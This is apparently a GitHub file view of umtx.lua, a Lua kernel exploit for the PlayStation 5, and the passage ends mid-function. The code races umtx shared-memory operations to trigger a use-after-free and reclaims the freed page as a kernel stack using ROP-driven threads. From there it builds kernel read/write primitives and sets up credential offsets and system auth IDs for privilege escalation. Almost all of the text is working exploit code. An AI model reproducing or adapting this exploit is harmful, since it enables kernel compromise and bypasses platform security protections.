-
Notifications
You must be signed in to change notification settings - Fork 73
Expand file tree
/
Copy pathumtx.lua
More file actions
1490 lines (1037 loc) · 41.9 KB
/
umtx.lua
File metadata and controls
1490 lines (1037 loc) · 41.9 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
-- umtx kernel exploit for ps5
-- setup kernel r/w primitives and escalate current game process
-- credits to all authors whose code was used as reference
umtx = {}
kstack_kernel_rw = {}
-- configurations
debug = false -- print more logging info
force_kdata_patch_with_gpu = false
umtx.config = {
max_attempt = 100,
max_race_attempt = 0x100,
num_spray_fds = 0x28,
num_kprim_threads = 0x180,
}
umtx.thread_config = {
main_thread = { core = 0, prio = 256 },
destroyer_thread = { core = {1, 2}, prio = 256 },
lookup_thread = { core = 4, prio = 400 },
reclaim_thread = { core = -1, prio = 450 }
}
syscall.resolve({
mprotect = 0x4a,
dup2 = 0x5a,
fcntl = 0x5c,
select = 0x5d,
fstat = 0xbd,
umtx_op = 0x1c6,
cpuset_getaffinity = 0x1e7,
cpuset_setaffinity = 0x1e8,
rtprio_thread = 0x1d2,
ftruncate = 0x1e0,
sched_yield = 0x14b,
munmap = 0x49,
thr_new = 0x1c7,
thr_exit = 0x1af,
is_in_sandbox = 0x249,
})
-- globals vars
UMTX_OP_SHM = 26
UMTX_SHM_CREAT = 0x0001
UMTX_SHM_LOOKUP = 0x0002
UMTX_SHM_DESTROY = 0x0004
OFFSET_STAT_SIZE = 0x48
OFFSET_IOV_BASE = 0x00
OFFSET_IOV_LEN = 0x08
SIZE_IOV = 0x10
OFFSET_UIO_RESID = 0x18
OFFSET_UIO_SEGFLG = 0x20
OFFSET_UIO_RW = 0x24
OFFSET_VM_MAP_ENTRY_OBJECT = 80
OFFSET_VM_OBJECT_REF_COUNT = 132
OFFSET_P_UCRED = 0x40
OFFSET_P_FD = 0x48
OFFSET_P_VM_SPACE = 0x200
OFFSET_FDESCENTTBL_FDT_OFILES = 0x8
OFFSET_THREAD_TD_NAME = 0x294
OFFSET_THREAD_TD_PROC = 0x8
OFFSET_UCRED_CR_SCEAUTHID = 0x58
OFFSET_UCRED_CR_SCECAPS = 0x60
OFFSET_UCRED_CR_SCEATTRS = 0x83
RTP_LOOKUP = 0
RTP_SET = 1
KADDR_MASK = uint64("0xffff800000000000")
KDATA_MASK = uint64("0xffff804000000000")
SYSTEM_AUTHID = uint64("0x4800000000010003")
COREDUMP_AUTHID = uint64("0x4800000000000006")
-- misc functions
function dbg(s)
if debug then
print(s)
end
end
function dbgf(...)
if debug then
dbg(string.format(...))
end
end
function calculate_shifts(n)
return math.floor(math.log(n) / math.log(2))
end
function wait_for(addr, threshold, ms)
while memory.read_qword(addr):tonumber() ~= threshold do
sleep(1, "ms")
end
end
-- cpu related functions
function pin_to_core(core)
local level = 3
local which = 1
local id = -1
local setsize = 0x10
local mask = memory.alloc(0x10)
memory.write_word(mask, bit32.lshift(1, core))
return syscall.cpuset_setaffinity(level, which, id, setsize, mask)
end
function get_core_index(mask_addr)
local num = memory.read_dword(mask_addr):tonumber()
local position = 0
while num > 0 do
num = bit32.rshift(num, 1)
position = position + 1
end
return position - 1
end
function get_current_core()
local level = 3
local which = 1
local id = -1
local setsize = 0x10
local mask = memory.alloc(0x10)
syscall.cpuset_getaffinity(level, which, id, 0x10, mask)
return get_core_index(mask)
end
function rtprio(type, prio)
local PRI_REALTIME = 2
local rtprio = memory.alloc(0x4)
memory.write_word(rtprio, PRI_REALTIME)
memory.write_word(rtprio + 0x2, prio or 0) -- current_prio
syscall.rtprio_thread(type, 0, rtprio):tonumber()
if type == RTP_LOOKUP then
return memory.read_word(rtprio + 0x2):tonumber() -- current_prio
end
end
function set_rtprio(prio)
rtprio(RTP_SET, prio)
end
function get_rtprio(prio)
return rtprio(RTP_LOOKUP)
end
-- rop functions
function rop_get_current_core(chain, mask)
local level = 3
local which = 1
local id = -1
chain:push_syscall(syscall.cpuset_getaffinity, level, which, id, 0x10, mask)
end
function rop_pin_to_core(chain, core)
local level = 3
local which = 1
local id = -1
local setsize = 0x10
local mask = memory.alloc(0x10)
memory.write_word(mask, bit32.lshift(1, core))
chain:push_syscall(syscall.cpuset_setaffinity, level, which, id, setsize, mask)
end
function rop_set_rtprio(chain, prio)
local PRI_REALTIME = 2
local rtprio = memory.alloc(0x4)
memory.write_word(rtprio, PRI_REALTIME)
memory.write_word(rtprio + 0x2, prio)
chain:push_syscall(syscall.rtprio_thread, 1, 0, rtprio)
end
-- spin until comparison is false
function rop_wait_for(chain, value_address, op, compare_value)
chain:gen_loop(value_address, op, compare_value, function()
chain:push_syscall(syscall.sched_yield)
end)
end
-- umtx shm functions
function umtx_shm(flag, key)
return syscall.umtx_op(0, UMTX_OP_SHM, flag, key)
end
function umtx_shm_create(key)
return umtx_shm(UMTX_SHM_CREAT, key)
end
function umtx_shm_lookup(key)
return umtx_shm(UMTX_SHM_LOOKUP, key)
end
function umtx_shm_destroy(key)
return umtx_shm(UMTX_SHM_DESTROY, key)
end
function shm_resize_tag(fd, size)
size = size or fd * PAGE_SIZE
return syscall.ftruncate(fd, size)
end
function get_fd_size(fd)
local stat = memory.alloc(0x100)
if syscall.fstat(fd, stat):tonumber() == -1 then
return nil
end
return memory.read_dword(stat + OFFSET_STAT_SIZE):tonumber()
end
function shm_close(fd)
return syscall.close(fd)
end
--
-- primitive thread class
--
-- use thr_new to spawn new thread
--
-- only bare syscalls are supported. any attempt to call into few libc
-- fns (such as printf/puts) will result in a crash
--
prim_thread = {}
prim_thread.__index = prim_thread
function prim_thread.init()
local setjmp = fcall(libc_addrofs.setjmp)
local jmpbuf = memory.alloc(0x60)
-- get existing regs state
setjmp(jmpbuf)
prim_thread.fpu_ctrl_value = memory.read_dword(jmpbuf + 0x40)
prim_thread.mxcsr_value = memory.read_dword(jmpbuf + 0x44)
prim_thread.initialized = true
end
function prim_thread:prepare_structure()
local jmpbuf = memory.alloc(0x60)
-- skeleton jmpbuf
memory.write_qword(jmpbuf, gadgets["ret"]) -- ret addr
memory.write_qword(jmpbuf + 0x10, self.chain.stack_base) -- rsp - pivot to ropchain
memory.write_dword(jmpbuf + 0x40, prim_thread.fpu_ctrl_value) -- fpu control word
memory.write_dword(jmpbuf + 0x44, prim_thread.mxcsr_value) -- mxcsr
-- prep structure for thr_new
local stack_size = 0x400
local tls_size = 0x40
self.thr_new_args = memory.alloc(0x80)
self.tid_addr = memory.alloc(0x8)
local cpid = memory.alloc(0x8)
local stack = memory.alloc(stack_size)
local tls = memory.alloc(tls_size)
memory.write_qword(self.thr_new_args, libc_addrofs.longjmp) -- fn
memory.write_qword(self.thr_new_args + 0x8, jmpbuf) -- arg
memory.write_qword(self.thr_new_args + 0x10, stack)
memory.write_qword(self.thr_new_args + 0x18, stack_size)
memory.write_qword(self.thr_new_args + 0x20, tls)
memory.write_qword(self.thr_new_args + 0x28, tls_size)
memory.write_qword(self.thr_new_args + 0x30, self.tid_addr) -- child pid
memory.write_qword(self.thr_new_args + 0x38, cpid) -- parent tid
self.ready = true
end
function prim_thread:new(chain)
if not prim_thread.initialized then
prim_thread.init()
end
if not chain.stack_base then
error("`chain` argument must be a ropchain() object")
end
-- exit ropchain once finished
chain:push_syscall(syscall.thr_exit, 0)
local self = setmetatable({}, prim_thread)
self.chain = chain
return self
end
-- run ropchain in primitive thread
function prim_thread:run()
if not self.ready then
self:prepare_structure()
end
-- spawn new thread
if syscall.thr_new(self.thr_new_args, 0x68):tonumber() == -1 then
error("thr_new() error: " .. get_error_string())
end
self.ready = false
self.tid = memory.read_qword(self.tid_addr):tonumber()
return self.tid
end
-- umtx class
umtx.data = {
lookup_cpu_mask = memory.alloc(0x10),
destroyer_cpu_mask = { memory.alloc(0x10), memory.alloc(0x10) },
lookup_fd = -1,
winner_fd = nil,
kstack = nil,
fd_tofix = {},
kstack_tofix = {},
race_rop = {},
kprim_rop = {},
primary_shm_key = memory.alloc(0x8),
secondary_shm_key = memory.alloc(0x8),
race = {
spray_fds = memory.alloc(0x1000),
lookup_fd_addr = memory.alloc(0x8),
start_signal = memory.alloc(0x8),
exit_signal = memory.alloc(0x8),
resume_signal = memory.alloc(0x8),
ready_count = memory.alloc(0x8),
shm_op_done = memory.alloc(0x8),
done_count = memory.alloc(0x8),
destroy_count = memory.alloc(0x8),
finished_count = memory.alloc(0x8),
},
kprim = {
read_size = memory.alloc(0x8),
ready_count = memory.alloc(0x8),
exit_signal = memory.alloc(0x8),
thr_index = memory.alloc(0x8),
cmd_stop = memory.alloc(0x8),
cmd_ready = memory.alloc(0x8),
cmd_no = memory.alloc(0x8),
cmd_reset = memory.alloc(0x8),
read_counter = memory.alloc(0x8),
write_counter = memory.alloc(0x8),
cmd_counter = memory.alloc(0x8),
exited_count = memory.alloc(0x8),
}
}
function umtx.prepare_shm_lookup_rop()
local chain = ropchain()
rop_pin_to_core(chain, umtx.thread_config.lookup_thread.core)
rop_set_rtprio(chain, umtx.thread_config.lookup_thread.prio)
rop_get_current_core(chain, umtx.data.lookup_cpu_mask)
chain:gen_loop(umtx.data.race.exit_signal, "==", 0, function()
chain:push_increment_atomic_qword(umtx.data.race.ready_count)
-- wait until it receives signal to resume
rop_wait_for(chain, umtx.data.race.start_signal, "==", 0)
-- do shm lookup operation
chain:push_syscall(syscall.umtx_op, 0, UMTX_OP_SHM, UMTX_SHM_LOOKUP, umtx.data.primary_shm_key)
chain:push_store_rax_into_memory(umtx.data.race.lookup_fd_addr)
chain:push_increment_atomic_qword(umtx.data.race.shm_op_done)
chain:push_increment_atomic_qword(umtx.data.race.done_count)
-- wait until it receives signal to resume
rop_wait_for(chain, umtx.data.race.resume_signal, "==", 0)
end)
chain:push_increment_atomic_qword(umtx.data.race.finished_count)
table.insert(umtx.data.race_rop, chain)
end
function umtx.prepare_shm_destroy_rop()
for i=1,2 do
local chain = ropchain({
stack_size = 0x10000
})
rop_pin_to_core(chain, umtx.thread_config.destroyer_thread.core[i])
rop_set_rtprio(chain, umtx.thread_config.destroyer_thread.prio)
rop_get_current_core(chain, umtx.data.destroyer_cpu_mask[i])
chain:gen_loop(umtx.data.race.exit_signal, "==", 0, function()
chain:push_increment_atomic_qword(umtx.data.race.ready_count)
-- wait until it receives signal to resume
rop_wait_for(chain, umtx.data.race.start_signal, "==", 0)
-- do shm destroy operation
chain:push_syscall_with_ret(syscall.umtx_op, 0, UMTX_OP_SHM, UMTX_SHM_DESTROY, umtx.data.primary_shm_key)
chain:gen_conditional(chain:get_last_retval_addr(), "==", 0, function()
-- increment counter if destroy operation succeed
chain:push_increment_atomic_qword(umtx.data.race.destroy_count)
end)
chain:push_increment_atomic_qword(umtx.data.race.shm_op_done)
-- wait until all shm operations finished
rop_wait_for(chain, umtx.data.race.shm_op_done, "~=", 3)
-- spray shmfds when the condition is right
chain:gen_conditional(umtx.data.race.destroy_count, "==", 2, function()
chain:gen_conditional(umtx.data.race.lookup_fd_addr, "~=", -1, function()
for idx = i-1, (umtx.config.num_spray_fds * 2)-1, 2 do
local fd_store_addr = umtx.data.race.spray_fds + idx*8
chain:push_syscall(syscall.umtx_op, 0, UMTX_OP_SHM, UMTX_SHM_CREAT, umtx.data.secondary_shm_key)
chain:push_store_rax_into_memory(fd_store_addr)
-- syscall.ftruncate(fd, fd * PAGE_SIZE)
chain:push_syscall_raw(syscall.ftruncate, function()
chain:push_set_rax_from_memory(fd_store_addr)
chain:push_set_rcx(calculate_shifts(PAGE_SIZE))
chain:push(gadgets["shl rax, cl; ret"])
chain:push_set_reg_from_rax("rsi") -- rsi = fd * PAGE_SIZE
chain:push_set_reg_from_memory("rdi", fd_store_addr) -- rdi = fd
end)
chain:push_syscall(syscall.umtx_op, 0, UMTX_OP_SHM, UMTX_SHM_DESTROY, umtx.data.secondary_shm_key)
end
end)
end)
chain:push_increment_atomic_qword(umtx.data.race.done_count)
-- wait until it receives signal to resume
rop_wait_for(chain, umtx.data.race.resume_signal, "==", 0)
end)
chain:push_increment_atomic_qword(umtx.data.race.finished_count)
table.insert(umtx.data.race_rop, chain)
end
end
function umtx.prepare_kprim_rop()
local timeout = 1 -- sec
for i=1,umtx.config.num_kprim_threads do
local cookie = memory.alloc(0x10)
local timeval = memory.alloc(0x10)
memory.write_qword(timeval, math.floor(timeout))
local chain = ropchain({
stack_size = 0x5000
})
rop_set_rtprio(chain, umtx.thread_config.reclaim_thread.prio)
chain:push_increment_atomic_qword(umtx.data.kprim.ready_count)
-- wait until we manage to reclaim kstack
chain:gen_loop(umtx.data.kprim.exit_signal, "==", 0, function()
chain:push_write_qword_memory(cookie, 0x13370000 + i)
chain:push_syscall(syscall.select, 1, cookie, 0, 0, timeval) -- push cookie to kstack
chain:push_syscall(syscall.sched_yield)
end)
-- check if this thread is the one who reclaimed the freed page
chain:gen_conditional(umtx.data.kprim.thr_index, "==", i, function()
-- mark cmd as ready
chain:push_increment_atomic_qword(umtx.data.kprim.cmd_ready)
chain:gen_loop(umtx.data.kprim.cmd_stop, "==", 0, function()
-- wait until it receives command
rop_wait_for(chain, umtx.data.kprim.cmd_no, "==", kstack_kernel_rw.cmd.nop)
-- read cmd
chain:gen_conditional(umtx.data.kprim.cmd_no, "==", kstack_kernel_rw.cmd.read, function()
chain:push_increment_atomic_qword(umtx.data.kprim.read_counter)
chain:push_syscall_raw(syscall.write, function()
chain:push_set_rax_from_memory(umtx.data.kprim.read_size)
chain:push_set_reg_from_rax("rdx")
chain:push_set_rsi(kstack_kernel_rw.data.pipe_buf)
chain:push_set_rdi(kstack_kernel_rw.data.pipe_write_fd)
end)
end)
-- write cmd
chain:gen_conditional(umtx.data.kprim.cmd_no, "==", kstack_kernel_rw.cmd.write, function()
chain:push_increment_atomic_qword(umtx.data.kprim.write_counter)
chain:push_syscall_raw(syscall.read, function()
chain:push_set_rax_from_memory(umtx.data.kprim.read_size)
chain:push_set_reg_from_rax("rdx")
chain:push_set_rsi(kstack_kernel_rw.data.pipe_buf)
chain:push_set_rdi(kstack_kernel_rw.data.pipe_read_fd)
end)
end)
-- exit cmd
chain:gen_conditional(umtx.data.kprim.cmd_no, "==", kstack_kernel_rw.cmd.exit, function()
chain:push_write_qword_memory(umtx.data.kprim.cmd_stop, 1)
end)
chain:push_increment_atomic_qword(umtx.data.kprim.cmd_counter)
-- reset for next run
chain:push_write_qword_memory(umtx.data.kprim.cmd_no, 0)
end)
end)
chain:push_increment_atomic_qword(umtx.data.kprim.exited_count)
table.insert(umtx.data.kprim_rop, chain)
end
end
function umtx.get_race_threads()
local thr_list = {}
for i,rop in ipairs(umtx.data.race_rop) do
local thr = prim_thread:new(rop)
thr:prepare_structure()
table.insert(thr_list, thr)
end
return thr_list
end
function umtx.get_kprim_threads()
local thr_list = {}
for i,rop in ipairs(umtx.data.kprim_rop) do
local thr = prim_thread:new(rop)
thr:prepare_structure()
table.insert(thr_list, thr)
end
return thr_list
end
function umtx.get_shmfd_from_size(lookup_fd)
local size_fd = get_fd_size(lookup_fd)
if not size_fd then
return nil
end
local size_fd = size_fd / PAGE_SIZE
if size_fd <= 0x6 or size_fd >= 0x400 or size_fd == lookup_fd then
return nil
end
return size_fd
end
function umtx.reset_race_state()
local lookup_fd = umtx.data.lookup_fd
-- close the fd if we can safely do it
if lookup_fd ~= -1 and not umtx.data.fd_tofix[lookup_fd] then
shm_close(lookup_fd)
umtx.data.lookup_fd = -1
end
-- destroy primary user mutex
umtx_shm_destroy(umtx.data.primary_shm_key)
-- destroy secondary user mutex
umtx_shm_destroy(umtx.data.secondary_shm_key)
-- clean up race states
memory.write_qword(umtx.data.race.lookup_fd_addr, 0)
memory.write_qword(umtx.data.race.start_signal, 0)
memory.write_qword(umtx.data.race.exit_signal, 0)
memory.write_qword(umtx.data.race.resume_signal, 0)
memory.write_qword(umtx.data.race.ready_count, 0)
memory.write_qword(umtx.data.race.shm_op_done, 0)
memory.write_qword(umtx.data.race.done_count, 0)
memory.write_qword(umtx.data.race.destroy_count, 0)
memory.write_qword(umtx.data.race.finished_count, 0)
end
function umtx.reset_kprim_state()
memory.write_qword(umtx.data.kprim.read_size, 0)
memory.write_qword(umtx.data.kprim.ready_count, 0)
memory.write_qword(umtx.data.kprim.exit_signal, 0)
memory.write_qword(umtx.data.kprim.thr_index, 0)
memory.write_qword(umtx.data.kprim.cmd_stop, 0)
memory.write_qword(umtx.data.kprim.cmd_ready, 0)
memory.write_qword(umtx.data.kprim.cmd_no, 0)
memory.write_qword(umtx.data.kprim.cmd_reset, 0)
memory.write_qword(umtx.data.kprim.read_counter, 0)
memory.write_qword(umtx.data.kprim.write_counter, 0)
memory.write_qword(umtx.data.kprim.cmd_counter, 0)
memory.write_qword(umtx.data.kprim.exited_count, 0)
end
function umtx.race()
dbg("umtx.race() entered")
pin_to_core(umtx.thread_config.main_thread.core)
set_rtprio(umtx.thread_config.main_thread.prio)
dbg("pinned main thread to one core")
-- init
umtx.reset_race_state()
local thr_list = umtx.get_race_threads()
-- spawn all race threads
for i,thr in ipairs(thr_list) do
thr:run()
end
local num_threads = #thr_list
wait_for(umtx.data.race.ready_count, num_threads)
dbgf("all threads ready! num threads = %d", num_threads)
local main_core = get_current_core()
local lookup_core = get_core_index(umtx.data.lookup_cpu_mask)
local destroyer0_core = get_core_index(umtx.data.destroyer_cpu_mask[1])
local destroyer1_core = get_core_index(umtx.data.destroyer_cpu_mask[2])
dbgf("main thread (core=%d)", main_core)
dbgf("lookup thread (core=%d)", lookup_core)
dbgf("destroyer0 thread (core=%d)", destroyer0_core)
dbgf("destroyer1 thread (core=%d)", destroyer1_core)
local winner_fd = nil
local lookup_fd = nil
local count = 0
print("race started")
for i=1,umtx.config.max_race_attempt do
dbgf("iteration %d", i)
local main_fd = umtx_shm_create(umtx.data.primary_shm_key):tonumber()
shm_resize_tag(main_fd) -- set size of primary shared memory object, so we can find its descriptor later
shm_close(main_fd) -- close this descriptor to decrement reference counter of primary shared memory object
dbgf("primary shm key prepared = %d", main_fd)
-- wait until all threads ready
wait_for(umtx.data.race.ready_count, num_threads)
dbg("signalling other threads to start the race")
-- signal all threads to start running
memory.write_qword(umtx.data.race.resume_signal, 0)
memory.write_qword(umtx.data.race.start_signal, 1)
-- wait until all threads finished
wait_for(umtx.data.race.done_count, num_threads)
local destroy_count = memory.read_qword(umtx.data.race.destroy_count):tonumber()
lookup_fd = memory.read_qword(umtx.data.race.lookup_fd_addr):tonumber()
dbgf("race finished. destroy count = %d lookup fd = %d", destroy_count, lookup_fd)
local fd = umtx.get_shmfd_from_size(lookup_fd)
if fd then
winner_fd = fd
printf("overlapped shm regions! winner_fd = %d", winner_fd)
end
-- dont close lookup descriptor right away when it is possibly corrupted
if destroy_count == 2 and lookup_fd ~= 3 and lookup_fd ~= -1 then
umtx.data.fd_tofix[lookup_fd] = 1
end
dbg("closing sprayed fds")
-- close other fds
for i=0, (umtx.config.num_spray_fds * 2) - 1 do
local addr = umtx.data.race.spray_fds + i*8
local cur_fd = memory.read_qword(addr):tonumber()
if cur_fd > 0 and cur_fd ~= winner_fd then
shm_close(cur_fd)
end
memory.write_qword(addr, 0)
end
umtx.data.lookup_fd = lookup_fd
umtx.data.winner_fd = winner_fd
-- we have won the race
if umtx.data.winner_fd then
break
end
dbg("failed to win the race. retry")
if i < umtx.config.max_race_attempt then
-- reset for next run
umtx.reset_race_state()
-- signal all threads to restart
memory.write_qword(umtx.data.race.resume_signal, 1)
count = count + 1
end
end
-- signal all threads to exit
memory.write_qword(umtx.data.race.exit_signal, 1)
memory.write_qword(umtx.data.race.resume_signal, 1)
wait_for(umtx.data.race.finished_count, num_threads)
dbg("all threads exited successfully")
if not winner_fd then
print("failed to win the race")
return false
end
dbgf("we have won the race after %d attempts", count)
return true
end
function reclaim_with_rop()
local thr_list = umtx.get_kprim_threads()
local chain = ropchain({
stack_size = 0x10000
})
chain:push_syscall_with_ret(syscall.close, umtx.data.winner_fd)
chain:push_syscall_with_ret(syscall.mmap, 0, PAGE_SIZE, PROT_NONE, MAP_SHARED, umtx.data.lookup_fd, 0)
for i,thr in ipairs(thr_list) do
chain:push_syscall(syscall.thr_new, thr.thr_new_args, 0x68)
end
chain:restore_through_longjmp()
chain:execute_through_coroutine()
local close_ret = memory.read_qword(chain.retval_addr[1]):tonumber()
local kstack = memory.read_qword(chain.retval_addr[2])
return close_ret, kstack
end
function reclaim_with_lua()
local thr_list = umtx.get_kprim_threads()
-- we have 2 fd referencing a shmfd which will be freed if we close 1 fd
local close_ret = syscall.close(umtx.data.winner_fd):tonumber()
-- map memory of freed shm object
local kstack = syscall.mmap(0, PAGE_SIZE, PROT_NONE, MAP_SHARED, umtx.data.lookup_fd, 0)
-- spawn all kprim threads to reclaim freed shm object for kernel stack
for i,thr in ipairs(thr_list) do
thr:run()
end
sleep(500, "ms") -- give some time for kprim to run
return close_ret, kstack
end
function umtx.verify_kstack(kstack)
local cnt = 0x1000/8
local data = memory.read_multiple_qwords(kstack + 0x3000, cnt)
local zeroes_count = 0
local kprim_id = -1
for i, qword in ipairs(data) do
local num = qword:tonumber()
if num ~= 0 then
if bit32.rshift(num, 16) == 0x1337 then
-- we have found the cookie
kprim_id = bit32.band(num, 0xfff)
break
end
else
zeroes_count = zeroes_count + 1
end
end
if zeroes_count == cnt or kprim_id == -1 then
return nil
end
return kprim_id
end
function umtx.reclaim_kernel_stack()
dbg("umtx.reclaim_kernel_stack() called")
assert(umtx.data.winner_fd and umtx.data.lookup_fd)
umtx.reset_kprim_state()
local num_threads = umtx.config.num_kprim_threads
-- local close_ret, kstack = reclaim_with_rop()
local close_ret, kstack = reclaim_with_lua()
wait_for(umtx.data.kprim.ready_count, num_threads)
dbgf("all kprim threads ready! num threads = %d", num_threads)
if close_ret ~= 0 or kstack:tonumber() == -1 then
print("failed to reclaim kstack. retry")
return false
end
-- store for fix up
table.insert(umtx.data.kstack_tofix, kstack)
printf("managed to reclaim kstack with mmap. kstack = %s", hex(kstack))
-- change memory protections to r/w
if syscall.mprotect(kstack, PAGE_SIZE, bit32.bor(PROT_READ, PROT_WRITE)):tonumber() == -1 then
print("mprotect() error: " .. get_error_string())
return false
end
print("managed to modify kstack memory protection to r/w")
-- check if we have access to the page
if not check_memory_access(kstack) then
print("failed to access kstack. retry")
-- unmap failed allocation
-- todo: verify if this is required
-- if syscall.munmap(kstack, PAGE_SIZE):tonumber() == -1 then
-- print("munmap() error: " .. get_error_string())
-- end
return false
end
print("kstack can be accessed successfully")
local kprim_id = umtx.verify_kstack(kstack)
if not kprim_id then
print("failed to get kprim id from kstack. retry")
return false
end
dbg("kstack hex dump:")
dbg(memory.hex_dump(kstack + 0x3000, 0x1000))
-- ask all kprim threads to exit, except for thread that reclaims kstack
memory.write_qword(umtx.data.kprim.thr_index, kprim_id)
memory.write_qword(umtx.data.kprim.exit_signal, 1)
printf("successfully reclaimed kstack (kprim_id = %d)", kprim_id)
print("waiting all kprim threads to exit (except the winner thread)...")
wait_for(umtx.data.kprim.exited_count, umtx.config.num_kprim_threads-1)
umtx.data.kstack = kstack
return true
end
-- slow kernel r/w using pipe pair + kstack
kstack_kernel_rw.cmd = {
nop = 0,
read = 1,
write = 2,
exit = 3,
}
kstack_kernel_rw.data = {}
function kstack_kernel_rw.init()
local read_fd, write_fd = create_pipe()
kstack_kernel_rw.data.pipe_read_fd = read_fd
kstack_kernel_rw.data.pipe_write_fd = write_fd
kstack_kernel_rw.data.pipe_size = 0x10000
kstack_kernel_rw.data.pipe_buf = memory.alloc(kstack_kernel_rw.data.pipe_size)
kstack_kernel_rw.data.read_mem = memory.alloc(PAGE_SIZE)
end
function kstack_kernel_rw.update_iov_in_kstack(orig_iov_base, new_iov_base, uio_segflg, is_write, len)
local stack_iov_offset = -1
local scan_start = 0x2000
local scan_max = PAGE_SIZE - 0x50
for i=scan_start, scan_max-1, 8 do
local possible_iov_base = memory.read_qword(umtx.data.kstack + i + OFFSET_IOV_BASE)
local possible_iov_len = memory.read_qword(umtx.data.kstack + i + OFFSET_IOV_LEN):tonumber()
if possible_iov_base == orig_iov_base and possible_iov_len == len then
local possible_uio_resid = memory.read_qword(umtx.data.kstack + i + SIZE_IOV + OFFSET_UIO_RESID):tonumber()
local possible_uio_segflg = memory.read_dword(umtx.data.kstack + i + SIZE_IOV + OFFSET_UIO_SEGFLG):tonumber()
local possible_uio_rw = memory.read_dword(umtx.data.kstack + i + SIZE_IOV + OFFSET_UIO_RW):tonumber()
if possible_uio_resid == len and possible_uio_segflg == 0 and possible_uio_rw == is_write then
-- printf("found iov on kstack. pos = %s is_write = %d len = %d", hex(i), is_write, len)
stack_iov_offset = i
break
end
end
end
if stack_iov_offset == -1 then